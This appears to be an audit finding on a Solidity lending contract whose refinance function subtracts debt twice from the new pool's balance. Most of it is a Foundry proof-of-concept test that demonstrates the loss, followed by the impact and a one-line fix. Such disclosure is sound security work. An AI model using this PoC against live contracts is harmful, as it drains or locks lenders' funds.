In the refinance function the debt is subtracted twice from the balance of the new pool. Therefore every time this function is called the chosen lender pays twice the debt without receiving it back.
The following POC code shows the problem, it can be implemented inside the current test folder of the repo.
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TestERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract RefinanceUpdatesPoolBalanceTwiceTest is Test {
Lender public lender;
TestERC20 public loanToken;
TestERC20 public collateralToken;
address public user1 = vm.addr(1);
address public user2 = vm.addr(2);
address public user3 = vm.addr(2);
function setUp() public {
lender = new Lender();
loanToken = new TestERC20();
collateralToken = new TestERC20();
loanToken.mint(user1, 1000 * 10 ** 18);
loanToken.mint(user2, 1000 * 10 ** 18);
collateralToken.mint(user3, 1000 * 10 ** 18);
}
function test_refinance_updates_pool_balance_twice() public {
vm.startPrank(user1);
loanToken.approve(address(lender), 1000*10**18);
lender.setPool(
Pool({
lender: user1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 100,
outstandingLoans: 0
})
);
vm.stopPrank();
vm.startPrank(user2);
loanToken.approve(address(lender), 1000*10**18);
lender.setPool(
Pool({
lender: user2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 100,
outstandingLoans: 0
})
);
vm.stopPrank();
bytes32 pool1Id = lender.getPoolId(user1, address(loanToken), address(collateralToken));
bytes32 pool2Id = lender.getPoolId(user2, address(loanToken), address(collateralToken));
(,,,,uint256 poolBalance1,,,,) = lender.pools(pool1Id);
assertEq(poolBalance1, 1000 * 10**18);
vm.startPrank(user3);
collateralToken.approve(address(lender), 100*10**18);
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = Borrow({
poolId: pool1Id,
debt: 200*10**18,
collateral: 100*10**18
});
lender.borrow(borrows);
(,,,,uint256 poolBalance2,,,,) = lender.pools(pool1Id);
assertEq(poolBalance2, 800 * 10**18);
Refinance[] memory refinances = new Refinance[](1);
refinances[0] = Refinance({
loanId: 0,
poolId: pool2Id,
debt: 200*10**18,
collateral: 100*10**18
});
lender.refinance(refinances);
vm.stopPrank();
(,,,,uint256 poolBalance3,,,,) = lender.pools(pool2Id);
assertEq(poolBalance3, 600 * 10**18);
}
}
Lenders lose funds, and they are stuck inside the contract. Malicious users could even use this burn funds from other users.
Subtract the debt only once.